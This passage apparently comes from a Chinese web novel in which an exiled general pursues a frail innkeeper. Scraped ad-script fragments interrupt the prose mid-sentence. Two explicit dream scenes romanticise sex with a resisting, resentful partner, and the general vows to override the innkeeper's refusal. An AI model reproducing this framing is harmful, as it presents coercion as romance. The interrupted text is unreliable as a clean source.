沈桥认命地返回去,来到那个破茅草屋。 齐彬已经吊着最后一口气了,他还不起钱,又被撒气,恶霸明显不把他的命当命,谁让他投胎成了一个手无缚鸡之力的穷书生呢?穷人的命如草芥,如果还有下辈子,他不想再当穷人了。 他奄奄一息间,看到了一个冰肌玉骨的红衣美人,哦不,是美男。 “沈……公子?” 他是在做梦吧?还是快到阎王殿出现的幻觉? 沈桥很纠结,齐彬就剩一口气了,是因为他。 不对,齐彬本来也欠那恶臭男二钱银子,他只是导火索。 如果今天没有他,齐彬就不会被打得剩一口气了吗? 他真的要为了一个凡人堵上自己的前途吗? 现在的生活多好,他每天当个甩手掌柜吃吃喝喝玩玩乐乐,他真是好日子过腻了才会下凡扶贫。 救还是不救,这是个问题。 齐彬拼尽全力抓住那一片红色衣角,那片衣角却还是从手里冷漠地溜走。 “齐彬,对不起,我救不了你。” 模糊的光线里,他看见沈桥站起来,就那么一点一点消失在视线里。 果然……他还在奢望什么呢? 他这辈子,太累了,想赚钱赚不得,考科举考不上,写话本也写不出成绩,算了,就这样吧。 齐彬在遗憾和无力中缓缓闭上了眼睛。 回到财神殿的沈桥用力遗忘掉齐彬这个人,就当他没有遇见过齐彬,没有穿过他的话本,可是他的心为什么这么痛呢? 沈桥在财神殿颓靡了几日,时明星君前来拜访,说他话本还没穿完。 沈桥不解:“写话本的那个凡人不是死了吗?怎么还穿呢?” 难道没死?沈桥对于这个猜测竟然有些雀跃。 难道他走之后齐彬遇到了什么奇遇复活了? 时明星君说:“他死了。” 沈桥起伏的心又平静下来,平静得要死掉。 时明星君又道:“但是他的话本你得继续穿,穿完他所有的话本,这个活动才能结束。” “不是吧?”沈桥心里哀嚎,“为啥他死了我也要继续穿啊?这规则不合理吧?” 时明星君摊手:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是天帝定的规矩,为了支持我的穿书活动,有不满你去跟天帝说。” 沈桥这种本本分分的仙官哪敢去跟天帝说不满啊,他是舒服日子过腻了吗?万一惹怒了天帝被发配到一个又忙责任又大的宫殿怎么办? 沈桥认命地问:“齐彬的话本还有几本?” 时明星君说:“还有一百本。” 沈桥瞪大了眼睛,“他怎么这么能写!!!”他觉得穿话本的日子看不到尽头,天啊!他想死一死。 时明星君笑了笑说:“逗你的,还有一本。” 一本啊……沈桥顿时松了一口气,一本还好。 时明星君又道:“而且……和你一起穿话本的还有一个人。” 还有一个人?沈桥的好奇心立马上来了,连忙问:“谁?” 时明星君道:“武曲星官,齐行之。” 沈桥忍不住想,好巧,这个武曲星官也姓齐? 天上神仙繁多,沈桥没见过这个武曲星官,也不知道武曲星官何时飞升的,这武曲星官是个什么样的人他也不了解,他连忙问时明星君准备临时抱佛脚。 时明星君说问这个没什么用,穿进话本之后就会忘掉作为神仙的记忆,直到出来才会恢复记忆,到那个时候你们才会真正认识。 沈桥心想,这还整得挺神秘,他忽然想到一个很核心的问题:“为什么这回是我和他一起穿话本啊?” 时明星君神秘一笑:“你穿了就知道了。” 沈桥总觉得没好事,有种被卖了的感觉,他磨了时明星君半天,时明星君嘴十分严实,愣是没套出半句话来。 于是他决定去拜访一下武曲星官探个究竟,可是当他来到武曲星官的府邸时,却被门口的小厮告知武曲星官不在,沈桥问小厮武曲星官什么时候回来,小厮摇头说不知道。 沈桥更觉得不对劲了,这武曲星官怎么这么神秘? 沈桥没等到见武曲星官,时明星君就通知他该穿话本了,沈桥想,既然他和武曲星官一起穿话本,那么到时明星君那里一定能见到武曲星官,于是他怀着期待来到了时明星君的府邸。 沈桥看到时明星君正在施穿话本的法术,他只来得及看见一个高大的背影就消失不见。 这咋就是不让人看正脸呢? 沈桥正可惜之际,看到时明星君向他招手:“正好,武曲星官刚穿完,到你了!” 沈桥总觉得不太对劲:“你不会把我卖了吧?” 时明星君笑得跟朵菊花似的:“放心,我指定把你完好无损地接出来!” 沈桥越想越觉得不对劲,转身就跑,他总觉得要被卖了,管他什么天帝会震怒,先跑为敬! 可是他刚跑了没几步,就被一股大力卷回去,被迫开启了下一场穿书之旅。 24. 第一章 江南沂(yi,二声)水城是越国边境的一个小城,这里气候温暖宜人居住,但由于地处偏远,经济不是很发达,生活节奏相较于皇城落后了很多。 刚过了冬,春日刚露了个头,还是乍暖还寒时候,这日,两个面生的男人牵着马进了沂水城。 其中一个男人长得十分英武,身高八尺,五官十分立体,颧骨很高,嘴唇很薄,眼睛深邃有神,如猎鹰一般,嘴里骂骂咧咧的:“格老子滴,那皇帝小子不是东西!老子辛辛苦苦给他打天下,现在就给老子发配到这么一个又偏又远的小地方来!” 男人身旁的人身材略微矮小瘦弱了些,一副小厮打扮,浓眉大眼鬼精灵似的,小心翼翼地开口:“将军……” 听这称呼男人立马来劲:“别叫老子将军!老子早八百年就不是将军了!” 小厮知道自家爷的脾气,连忙道:“爷!爷您赶路赶了这么多天也累了吧?刚才知府那边说宅子要半个月才能给您置办出来,咱要不先找个客栈歇歇?” “小地方就是小地方!置办个宅子也能置办半个月!得!那找个地方歇歇吧!”男人嘀咕了一句,将马调了个头,开始打量起两边的商铺来,谁知道这小地方的商铺一个个打扮得花枝招展的,他最不喜欢这些花里胡哨的东西,越看越烦! 走着走着,忽然听旁边的小厮道:“爷!这家客栈不错!” 男人转头一看,这家客栈在街尾,位置很偏,如果不仔细看还真注意不到,但与刚才那些俗不可耐的客栈相比,这间客栈的装修简单素雅,匾额上云间客栈四个大字飘逸挺拔,颇有风骨。 男人看得心情一悦,拍板敲定:“就这家吧!” (秦萌萌:我老婆的客栈就是好!叫我一眼就看中!) 说完,朝里面嚷着:“你们这伙计呢?来个人搭把手帮我们把马给拴上!” “哎!就来!”里面的伙计应了一句,搭上汗巾小跑出来。 这伙计相貌清秀,一双大眼睛水漉漉的,一看就招人喜欢。 他利落地把二人的马栓在门口,顺便问:“二位客官是打尖还是住店?” 男人不假思索:“住店!” 紧接着,男人肚子里叽里咕噜响了起来。 小厮机灵道:“爷,要不咱先在楼下吃点吧!” 男人点头,大摇大摆地找了个位置坐下,也不待伙计报菜名,就对那伙计道:“来壶烧刀子!” 伙计面露难色:“客官,烧刀子是北方的酒,我们这是南方小城没有这么烈的酒。” 男人眉头一皱:“那你们这有什么?” 伙计兴致来了,神采飞扬道:“我们这有荔枝酒、梅子酒、桃子酒,清甜可口,让你体验到醉酒微醺的状态又不至于伤身体,特别好喝,我们店这酒在城里特别有名,是我们掌柜亲自酿的,他也特别爱喝。” 男人听了,眉头皱得更紧:“甜的酒有什么好喝的?你们这南方小城的男人怎么娘们唧唧的,喝个酒还要喝甜的!” 伙计一听,不高兴了:“哎哎哎!你怎么说话呢?你知道我们掌柜的之前是什么身份吗?!” “禾玉!” 伙计的话被人喝止,这声音颇为清冽动听,男人忍不住抬头向声音的主人看去。 只见一个披着红狐裘的白衣公子走了过来,这公子清俊绝伦,容颜之盛平生罕见,尤其是那双眼睛,像是一汪碧绿清透的湖水,不染一点杂质,似一株常年生长在雪山上的白莲,美得晶莹剔透、惊心动魄。 肩上披着的红狐裘皮毛柔软,衬得公子皮肤雪白莹润,好似会发光一般,只是唇色有些病态的苍白。 如一朵盛放在高山雪地的白莲,在诱着哪个胆大的狂徒,将其采摘下来捧在手心好好呵护。 伙计立马迎了过去,神色有些担忧:“掌柜的,您不是病了吗?怎么下床了?” 公子以拳抵唇,轻轻咳了两声,哑声道:“已经好些了。” 接着,目光落到男人身上来,“方才听客官说,果酒不值得喝,我们南方小城的男人……娘们唧唧?”说着,他挑了下眉,这眉挑得多一分媚,少一分傲,不是那种青楼小倌的媚,而是那种久居庙堂之高浑然天成的气势。 公子这一挑眉,不多不少,恰如一颗石子,投入了男人心底,泛起圈圈涟漪。 好似亵渎了一首高雅的乐曲,羞愧之心油然而生,男人连连摆手道:“方才是我说错话了,我绝对没有这个意思,我是个粗人不会说话,掌柜的莫见怪,有什么好酒都上来!就当是我给掌柜的赔不是了!” “那就多谢客官抬爱了。”公子点了点头,转身唤着伙计,“禾玉,给这位客官上酒!”说完,径自离去。 眼看着公子离去的背影,男人心念一动,起身抱拳揖礼道:“在下塘关秦冲,敢问掌柜高姓大名?” 男人刚说完,便引起客栈里一阵骚动。 塘关秦冲,勇猛无比,短短五年就从一个小兵成为大越国唯一的一品飞龙将军,战场上可以一敌百,他带领的战役十战九胜,诨名黑风煞神,皇帝亲赐一品飞龙将军,是越国人心目中的大英雄。 这样的人物竟然来他们这小店,客栈里的人纷纷侧目,然而公子似乎不为所动,只是顿了一下,并未转身,语气十分平淡:“萍水相逢,客官不必放在心上。”说罢离去。 越国人心目中的英雄,战场上勇猛无敌的秦冲秦将军神情落寞地坐下了。 不知几何,所有的一切像是罩上了一层薄雾,影影绰绰的。 秦冲站在一个房间里,面前是一帘薄纱,只听得薄纱后面传来一声声压抑的低吟,似乎在求谁手下留情。 这是一个男人的声音,出乎意料的好听,沙哑着,像是清澈的泉水流经尖锐的岩石,被磋磨,无力抵抗,说不出是痛苦多一些还是欢愉多一些,只听得人浑身酥软。 秦冲觉得有些熟悉,像是在哪里听过一般,却想不出声音的主人是谁。 他情不自禁地咽了咽口水,同时内心升起一股无名的怒火。 好家伙!谁人如此胆大,敢在老子面前演这一出肮脏事!他怒气冲冲地上前,抬手就要掀开那纱,谁知,画面一转,自己就在床上,方才那哀哀低叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人正出现在自己面前! 突如其来的惊喜,方才的怒火全消,他的注意力全被面前的人吸引了。 指下的肌肤如一件光滑莹润的玉器,细滑无比,他情不自禁地抚了又抚,揉了又揉,那肌肤嫩得很,一按就是一个红印子,印在白腻的肌肤上,犹如飘落在雪地的点点红梅。 这没轻没重的揉按换来愈发压抑的呻s吟,“轻点儿……” 那人儿呻s吟不住,叫人又是心疼又想狠狠地欺负。 冥冥之中有种预感,他突然想看看这人长什么样子,于是,他将人翻转过来。 那是一张清俊绝伦的面容,那双美丽清透的眼睛失去了清明,朦朦胧胧透着水汽,眼尾泛红,一副被欺负得很了的样子。 分明是白日里见到的那个掌柜! 一瞬间,他心里又是惊讶又是激动又是满足,“你……” 眼前的人被欺负的已经没有力气反抗也没有力气说话,只能乖巧地靠在他的臂弯间,轻轻地喘息。 眼见着白日里高高在上对自己爱答不理的人此刻却在自己身下任自己摆布,秦冲心中升起一股恶意的优越感,低头凑近那人耳边道:“你不是不理老子吗?怎么现在这样一副被老子弄得合不拢腿的样子?” 那人被激得一下子清醒了,美丽的眼睛里立刻充满了恨意与不甘,“滚!” 秦冲看得喉咙一阵发紧,奸计得逞一般立刻将人搂紧,得意洋洋道:“你都是老子的人了,老子怎么能滚?老子要弄你弄个够!” 说着,他狠狠一发力,眼前的画面消失,意识清醒,从床上坐起来,望着窗外刚蒙蒙亮的天,秦冲有些怅然若失,原来只是一场梦啊! 他年少的时候也做过春梦,可对象从来没有男人,眼下,他这是看上一个男人了? 忍不住又想了想梦里的情景,那身段,那皮肤,简直比女人还销.魂,如果是真的…… 战场上的黑风煞神,秦冲秦将军望着窗外突然傻笑起来,傻笑了一会儿,突然想到了什么,一拍大腿,刚才在梦里怎么没问问他叫什么名字呢?! 秦将军向来是一个雷厉风行的人,想到什么就要去做,洗漱穿衣下楼,揪住伙计就问:“你们掌柜的呢?” 伙计还在起床气中,揉着惺忪的睡眼,没好气道:“这才卯时,掌柜的还睡着呢!” 秦冲看了看外面还有些发青的天色,确实有点早,那公子看起来身子骨娇贵,多睡一会儿就多睡一会儿吧! 既然人还睡着,那他就等白天再问吧!他先去跑步。 晨跑是他自从当兵就养成的习惯,还是小兵的时候,被将军训着跑,后来升了将军,也坚持着,跑习惯了,这一天不跑,就浑身痒痒。 想到这,又揪着伙计问:“你们这有没有能跑步的地方?” “后院……”伙计这会儿还迷糊着,刚说了两个字,随即想起来什么似的,连忙又道:“啊!不行,后院是我们掌柜的地方,不让人进去,你不能去!” “你们掌柜的地方?”秦冲眯了眯眼,唇角勾起一个笑来,“那我去定了!” 25. 第二章 “后院在哪?” 看着秦冲危险的眼神,小伙计步步后退:“我……我才不告诉你!” 秦冲一番威逼利诱,小伙计胆子又小,只能屈服。秦冲来到后院后,揪着小伙子的衣领子把他往外一扔:“好了,你可以滚了!” 秦冲转过身,入眼的景象叫他眼前一亮。 院子不大,东西也少。 一张小木桌,一把藤椅,一方小池塘。 春光明媚下,碧绿澄澈的池塘里,金鱼自由自在游动着,不远处还有一片粉红烂漫的桃林,树上挂着只鸟笼,里面养着两只鸟,一只蓝得像天空,一只粉得像桃子,在里面叽叽喳喳的叫着。 空气里盈满了草木的清香,叫人有种心旷神怡的感觉。 秦冲闭上眼睛深深呼吸了一口气,只觉近日来的烦闷一扫而空。 这时,院前的屋子门被推开,白衣公子抱着几卷书走了出来。 公子今日头发上绑了一条白色缎带,看着更精神了一些,眉眼清俊,嘴唇红润,皮肤白皙,给人一种翩翩公子,温润如玉的感觉。 他看见院子里的高大男人,认出是昨天的客人,回想起那段不甚愉快的对话,再加上莫名其妙出现在他的院子里,眉心一皱,问道:“你怎么在这里?” 秦冲睁开眼睛,便看见梦里的人,心里又惊又喜,看着公子那双美丽的眼睛,只觉得呼吸的空气都充满着公子身上的香气,他说不出是什么味道,反正就是让他心情愉悦,笑嘻嘻道:“我随便逛逛,不小心闯到这里的。” 公子冷了脸:“我这里不允许外人进来,请你出去。” 秦冲厚着脸皮笑道:“我来都来了,掌柜的你就让我留下来吧!” 公子冷着脸刚要开口说什么,秦冲抢着道:“我就跑个步,保证不打扰你!”说完,就绕着院子跑了起来。 公子想把这个不速之客赶走,但是秦冲跑得太快,他又追不上,若是开口赶人,看这人的架势是必然不会出去的,且当看不见,坐在藤椅上翻开他的书看了起来。 清晨的院子里,充满着小鸟清脆的鸣叫声,秦冲跑步粗重的喘气声,公子轻柔翻开书卷的沙沙声,清风拂过,岁月静好。 公子看得很投入,看到喜欢的地方,便弯弯唇笑起来,整个人沐浴在清晨的阳光中,好像会发光一般,好看极了。 秦冲一边跑着一边观赏着公子看书的样子,只觉得赏心悦目,心情好得不得了。 秦冲绕着院子跑了十圈后停下来喘着气,回头看见专注看书的公子,顿时扫去了所有疲累,内心一片柔软,小心翼翼地向公子走过去。 公子正看到有趣的地方,并没有注意到秦冲的靠近,唇角弯起,轻轻地笑着,浑身散发着温柔与美好,叫人移不开眼。 公子看得兴起之时,耳畔突然响起一个低沉而有磁性的声音:“在看什么呢?” 公子警觉地把书一合,转头看见打着赤膊的秦冲,露出虬结的肌肉,浑身大汗淋漓,浑身散发着野性的气息。 他本能地厌恶这种感觉,冷着声音道:“你跑完了?那请你离开这里。” 秦冲跟没听见似的,凑过去看见公子手里的书名,笑了:“江湖侠客传?你喜欢看这个啊?” 公子把书往怀里一抱,不悦地站起身:“我喜欢看什么与你何干?请你出去!” 留给他一个瘦削的背影,发带被风吹得扬了起来,一身白衣在清晨的阳光中,清冷中透着孤傲。 秦冲看着他的背影问:“你的梦想是当大侠吗?” 明显捕捉到公子身子一顿,秦冲笑了一笑,继续道:“我可以帮你。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 公子转过身,绷着脸问:“怎么帮?” 那种明明很想知道却又故作矜持的样子被秦冲看在眼里,他心里偷笑了一下,挑了挑眉,道:“那你得先告诉我你叫什么名字。” 公子皱眉:“这有关系吗?” 秦冲煞有介事地点头:“有关系!当然有关系了!你想让我帮你,总得告诉我你叫什么名字吧,这是对我起码的尊重。” 公子抿了抿唇,不情愿地说出两个字:“楚晏。” 秦冲问:“哪个晏?” 公子放下手中的书卷,食指沾了茶水,在桌上一笔一划地写着楚晏两个字。 公子写得很慢,每一笔,都在提醒着他那些埋藏在他记忆深处、却被他刻意遗忘的过去。 楚晏这个名字,若是在十年前,足以轰动整个大越,可现在,世易时移,那些往事早已尘封,无论是快乐的,还是痛苦的,都已经不重要了。 秦冲之前并没有听过这个名字,他的关注点全在公子身上。 看公子食指修长,葱白如玉,写出来的楚晏两个字清雅秀致而不失锋芒,秦冲越看越觉得好看,人好看,写出来的字也好看。 楚晏,楚晏,名字也好听。 公子却没有他这般好心情,搁下笔,不耐地抬眉:“写完了,你该告诉我了。” 秦冲问:“学过武吗?” 公子摇头,神情中明显出现一抹落寞:“没有。” 秦冲有些好奇:“既然想当大侠,为什么没学武功?” “身体不好。”楚晏说着,掩唇轻咳了一下,那双美丽里眼睛的色彩也渐渐暗淡下去。 秦冲顿时觉得心被拧了一下,“这有啥的?!叫我说啊,你也别看那些没用的了,天天早上起来跟我跑十圈,保管你身体倍儿棒,吃嘛嘛香!” 26. 第三章 楚晏抬头,对上秦冲期待的眼睛,翕动了一下嘴唇,刚要说什么,却听小伙计禾玉在外面喊:“掌柜的,王叔说前两天的账有点问题,需要您出来帮忙核对一下!” “我先走了。”楚晏松了口气似的,说了一句便匆匆离开了。 秦冲暗暗骂了一句,不长眼的!看老子下回怎么收拾你! 小厮第三次敲了敲桌面:“爷!爷!爷您看什么呐!眼儿都直了!” 他家爷,从早上吃了早饭到现在拄个下巴就巴巴望着账台,账台那有什么什么好看的? 小厮回头看了看,看到客栈掌柜和伙计还有一个中年男人,在拿着账本看来看去。 秦冲不耐地把小厮脑袋扒拉到一边:“去去去!一边玩儿去!别挡着爷的视线!” 心里跟热锅上的蚂蚁似的坐不住,怎么算个账要算这么长时间? 这时,进来一个衙役打扮的人,抱拳行了个礼,凑到秦冲耳边压低声音道:“秦将军,我们知府老爷请您去衙门商议沂水都督交接事宜。” “知道了。”秦冲心不在焉地回了一句,走到账台边,对楚晏道:“楚掌柜,我有事出去一趟。” 楚晏抬头,淡淡说了一句:“慢走。”说完,又低头看账本。 秦冲对这反应不满意,有些不甘地问:“早上我说的事……” 楚晏看着账本眼未抬,打断他道:“回头再说。” 秦冲立刻高兴点头:“那我回来找你啊!” 他走到门口,恋恋不舍地回头向账台望了一眼,楚晏还在专注地对账,仿佛他的离开是无关紧要的事。 小厮用手肘拄了拄秦冲的胳膊挤眉弄眼地问:“爷,你跟那掌柜的有啥事要说啊?” 秦冲推了他一把:“有你啥事!” 沂水知府很热情,带着秦冲在城里巡视了一大圈,并邀请秦冲在衙门吃了晚饭,秦冲兴致一来,多喝了几杯,回来已经很晚了,进客栈门的时候想到跟楚掌柜的约定,一把拽住正在收拾桌子的伙计就问:“你们掌柜的呢?” (小伙计禾玉:我真是倒霉,一天被这个对我们掌柜不怀好意的臭酒鬼拽八百次!) 小伙计对他动不动就拽人的行为十分不满,却又反抗不了,没好气道:“睡了!” 秦冲瞪大眼,似乎还没有消化这个消息:“睡了?” “你也不看看现在什么时辰了,都亥时了,我们掌柜的一向作息很规律的,这么晚当然睡了!”伙计说着,嫌弃地扇了扇鼻子:“一身酒气,臭死了!” (亥时——21时~23时) “你说什么?敢嫌老子臭?”秦冲酒劲儿上来脾气大,揪住小伙计的衣领子把人提了起来,秦冲长得就不是和善的模样,这一撒酒疯,猎鹰一般的眼睛带钩子似的凶狠,小伙计当即就被吓得直叫:“啊啊啊!救命啊!杀人啦!” (秦冲:我眼睛带钩子,我媳妇儿眼睛也带钩子。 楚晏:嗯? 秦冲:看我一眼就把我勾的神魂颠倒了。 楚晏:滚!) 小厮一看情况不对,连忙冲过来一边拉一边劝秦冲:“爷!爷您消停会儿吧!这么晚了,再把人家掌柜吵起来……” “吵起来?”秦冲手一顿,“那掌柜应该会生气吧,不行!不能惹他生气!”自顾自嘀咕了一句,放开小伙计,摇摇晃晃地上楼了。 秦冲的小厮拍拍胸脯默念了一句:“谢天谢地!可算消停了!”又转头对禾玉道“我家爷喝多了就这脾气,你别生气哈!” 禾玉理了理衣领,抱怨了一句:“你也真受得了他!” 小厮认真为自家爷说好话:“你别看我家爷脾气大,人其实很好的!我从小体弱多病,家里也没钱,以为我养不活了,就把我扔在了大街上,那时候我才七岁,是爷看我可怜收留了我,给我吃穿,这些年跟着他走南闯北,上战场打蛮子。”小厮说到这,伸出手比比划划,“你没看见,身高八尺,长得跟狗熊似的蛮子,我家爷哐哐哐几下就打得他满地打滚求饶!皇上一高兴,就封了我爷一品飞龙将军!” “在我心里,我家爷就是越国的大英雄,越国男人没人能比得上他!”小厮说到最后,一脸自豪。 禾玉“切”了一声,不以为意道:“一品飞龙将军有什么了不起的?!我家掌柜当年才叫惊才绝艳,一提他的名字,整个大越无人不知无人不晓,他……”说到一半,突然意识到自己说错话,连忙捂了嘴。 小厮被勾起了好奇心:“哎哎哎,你怎么不说了?你家掌柜是什么人啊?” “我……我不能告诉你!”禾玉说完,慌乱地跑走了。 “什么人呐!话没说完就跑了!”小厮心里一肚子纳闷,嘀咕了一句,也回房睡觉了。 春光明媚,风轻轻吹动柳枝摇曳,树下的藤椅上两个男人的声音此起彼伏。 上面的男人剑眉星目,长相英武不凡,打着赤膊,浑不在意地暴露着精壮的好身材,身下的男人身材瘦削,上半身的衣服褪到肘弯,裸露在外的肌肤如白瓷,长发如瀑般散开,仰着修长优美的脖颈,闭着眼睛蹙眉喘息,犹如濒死的天鹅一般。 上方的男人越看越心动,低头亲昵地吻着身下男人的耳垂,“晏儿,你舒不舒服?” 身下的男人依旧蹙眉喘息没有回答,亦或是不愿意回答,阖着一双上天都要赞叹的好眉眼,像一副静美的画,让他感觉像是在亵玩一个高高在上纤尘不染的仙人,这让他感到极大的满足。 近乎贪婪地舔舐着身下男人耳周的细嫩肌肤,低喘着问:“舒不舒服?嗯?” 说完,他发了狠,与此同时,身下男人搭在他手臂上的手一下子收紧,指甲抠进肉里,男人皮糙肉厚,并不觉得多疼,笑着问:“疼了?” 身下男人蹙紧眉不说话,但身体的反应暴露了他。 上方的男人感觉到他很紧张,把他往怀里抱了抱,吻了吻他的嘴唇,低低地笑:“多跟我弄,身体就好了。” 身下男人忽地睁开那双美丽的眼睛,明明被蹂躏得水雾似的眼角通红,眼神却像利剑一般射向他:“滚!” 小样儿!我还治不了你了! 上方的男人刚要行动,眼前所有的一切忽然消失,秦冲睁开眼,四周黑漆漆的,往窗外一看,月亮又圆又大,他懊恼地捶了一下床,怎么又是这个时候醒了!老子还没享受够呢! 回想起白日里那一幕,要不是那不长眼的伙计坏事,那楚掌柜说不定就答应了呢! 不行!他答应也得答应,不答应也得答应,不答应他就硬拉着他跑!< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦冲打定了主意,倒头又睡了过去。 (作者菌:跑个步而已,秦都督你激动个啥!) 第二天,秦冲早早醒来,洗漱完就跑去楚晏院子里守着。 他闲得无聊,拿着根草去逗笼子的小鸟:“你主人怎么还不起来?真是个小懒虫!” “小懒虫!小懒虫!” 秦冲脸上带着宠溺似的笑,仿佛在逗的不是小鸟,而是楚晏。 小鸟被惊得叽叽喳喳乱飞,这时,门吱嘎一声响,楚晏走了出来。 他穿着白色中衣,墨色长发披散着,白玉似的脸上满是被人扰了好梦似的不耐:“大清早的你在我院子里干什么?” 秦冲笑容灿烂:“我来陪你跑步啊!” 楚晏蹙眉:“我还没有答应你。” 秦冲抱着双臂,挑衅似的笑:“你是不是不敢啊?” 楚晏即刻回了一句:“我有什么不敢的?”说完,他就意识到上当了。 楚晏啊楚晏,你是安逸太久了么?这种低劣的激将法你都辨别不出来! 秦冲却像是知道他要说什么似的,抢先开口堵了他的嘴:“有句话叫什么来着,大丈夫一言既出驷马难追,楚掌柜难道要反悔不成?” 话说到这个份儿上,楚晏也不想继续争辩,只能自己吃了这个哑巴亏,冷冷撂下一句:“我回去换衣服。”便关上了门。 套路成功的秦冲心情很好,笑眯眯地拿着草去逗院子里的两只小鸟:“小蓝啊!小粉啊!你们主人可真可爱!” 楚晏再次开门时,已经换了一身白色劲装,长发高高束起,头顶的白色缎带随风飘扬,瓷白的皮肤在阳光的照射下莹润得仿佛会透光一般,好一个意气风发的清俊贵公子。 秦冲看直了眼,手里逗鸟的草什么时候掉了都不知道。直到楚晏走过来问:“怎么跑?” 秦冲这才回神,笑道:“我在前面跑,你跟着我就行。”说着,突然抽掉自己的腰带。 楚晏一惊:“你干什么?” 秦冲一副理所当然的表情:“脱衣服啊!我跑步都是打赤膊跑的!” 楚晏冷了脸:“不行,你必须穿衣服跑!” 秦冲不明白:“那出汗了多难受啊!” (作者菌:你媳妇儿害羞了傻子!) 楚晏打断他,强硬道:“穿衣服跑,不然别在我这里跑!” 秦冲看他态度强硬,只好妥协道:“穿着跑就穿着跑吧,那你跟在我后面跑啊!” 说着,把腰带系了回去,带头跑了起来,跑着跑着,发现人没跟上来,回头一看,楚晏被落在后面,小步慢跑着,雪白的双颊染上了两团红晕,跑得气喘吁吁的。 秦冲当即就笑了:“楚掌柜,你这小身板儿也不行啊?” 楚晏被激得三步并作两步跑上来,冷笑道:“秦将军行,从将军降到都督的感觉如何?” 秦冲听得一惊:“你怎么知道?” 他如今还没有正式上任,他被皇帝小子贬来这儿的消息,现在也就京城那帮官和沂水衙门的人知道。 而沂水离京城十万八千里,他赶了三个月的路才赶过来,也没有在路上听到他被贬的消息,一般百姓根本不可能,这楚掌柜是什么人?怎么会知道他被贬的消息? 27. 第四章 与秦冲的紧张相比,楚晏表情淡淡:“昨天来找你的那个衙役,是我店里的常客。” 秦冲明白过来,恨恨道:“拿着朝廷的俸禄,衙门机密敢随便往外说,该打!” 楚晏不以为然:“这算什么机密?秦都督不是过两天就要上任了么?” 秦冲唾了一口:“呸!什么都督?老子才不稀罕当!” 楚晏蹙眉:“官不论大小,既然做了,就应该尽力为一方百姓谋福祉。” 秦冲想了想,“你说的也有道理,可老子心里就是不痛快!老子辛辛苦苦给那小子打天下,那小子倒好,卸磨杀驴,给老子贬到这么个鸟不拉屎的地方来!” 楚晏淡淡道:“朝廷少不了勾心斗角,你来这里未尝不是一件好事。” 秦冲看着他的侧脸,跟玉似的,不仅白,还透着温润的光,因为跑了两圈,有些红扑扑的,白里透着红,跟涂了胭脂似的好看,想了想,的确是一件好事。 楚晏的目光渐渐放空,不知道在想些什么。 秦冲摆摆手道:“哎!不说了这些糟心的了,你还跑么?” 见楚晏有些出神,秦冲以为他不想跑,便道:“你要是实在跑不动,那就不跑了。” 谁知楚晏固执道:“跑!” 秦冲以为他不过说着玩玩,跑几圈就不跑了,谁知这次楚晏异常坚持,勉力跟着他跑了五圈也没喊累,秦冲见他坚持,放慢速度迎合他,两个人一点一点跑完了十圈。 走了两圈平复了呼吸后,楚晏不顾形象地一屁股坐下来,双手向后撑在地上,仰面闭上眼睛,感受着阳光和呼吸间的青草香,感叹道:“我第一次觉得清晨这么美好,跑步真的会让人快乐。” 秦冲看他扬起的脖颈又细又白,似一只引颈高歌的天鹅,不知不觉想到了那个梦,也是在这里,他也是像天鹅一般,在他身下…… “我决定了,明天早上还要跑步!” 楚晏的话把秦冲的思绪拉回现实,看着他问:“那我可否有这个荣幸,与楚掌柜一起?” 楚晏睁眼,转头看向他,点点头:“可以。” 秦冲心中一喜,却听楚晏又道:“不过你不用配合我跑,你跑你的,我跑我的。” 秦冲点头:“成,只要能一起跑咋都成!” 男人笑着看着他,猎鹰一般的眼睛里火一样的炙热,楚晏觉得心被烫了一下,下意识地移开了视线。 接下来跑步的时候,秦冲没刻意去迎合楚晏放慢脚步,而楚晏也已经慢慢适应了自己的节奏。跑完步,两个人就坐在草地上闲聊。 秦冲问:“楚掌柜,你今年多大?” “二十九。” 楚晏说完,神色有些恍惚,他已经这么老了啊…… (秦都督·色鬼:老?你哪里老了啊?哪儿哪儿都嫩得跟水似的,尤其是那…… 楚晏:滚!) 秦冲一脸惊异:“看不出来,你长得就跟我之前军营里刚提拔上来的小兵似的,没想到竟然比我还大!” 说着,他认真打量着他,皮肤光滑得跟刚剥了皮的鸡蛋似的,眼角一点皱纹都没有,怎么看也不像二十九的人。 也不知道娶妻了没有…… 娶妻……这个词像一个魔咒一样套住了他。 这么大年纪,该娶妻了吧?说不定儿子都有了…… 但是他又好像没看见他有妻子和儿子…… 要是没娶妻…… 秦冲想着想着,内心深处升腾起来一丝雀跃。 思绪杂乱间,听见楚晏问他:“你多大?” 秦冲答:“二十五。” 楚晏目光飘远,二十五,那时候,他刚辞官一年…… 秦冲见他不说话了,想到刚才纠结的问题,继续问:“楚掌柜娶妻了吗?” 楚晏摇头:“没有。” 秦冲心中一动,雀跃感越来越大:“怎么没娶妻?” “没有遇见合适的。” 秦冲觉得自己的机会来了,赶紧问:“那楚掌柜觉得什么样的才是合适的?” 楚晏眼里闪过迷茫,“我也不知道。”又反问他:“你娶妻了吗?” 秦冲连忙道:“没有!” 他的声音太大,楚晏惊异地望过来。 对上那双美丽又澄澈的眸子,秦冲的心砰砰砰地跳。 正当秦冲心跳加速,嗓子眼儿发干之时,楚晏转了回去,看着远处的桃树,问道:“为什么没娶呢?秦将军相貌堂堂,又身为将军,应该是很多女子心中的佳婿人选吧。” 秦冲摆摆手:“哎!可别提了!我没被贬之前,确实有很多小姑娘嚷着要嫁给我,可那些小姑娘个个都是名门闺秀,嫁过来就要当主母,我这个人一个人待惯了,一想到要来个人管我,就浑身不得劲儿,就没同意。” 楚晏想到之前自己被小姑娘缠着的经历,感同身受,点头道:“世家出来的姑娘都有些脾气,其实只要包容就好了。” 秦冲没注意到,摆摆手,道:“得了!我可受不了!”说着,又想起来什么似的,兴致勃勃道:“我跟你说,我在军营里那阵儿,底下的小兵怕我寂寞,给我弄了好几个姑娘来,我没要。” 楚晏被勾起兴趣,转过头来问:“为什么?” 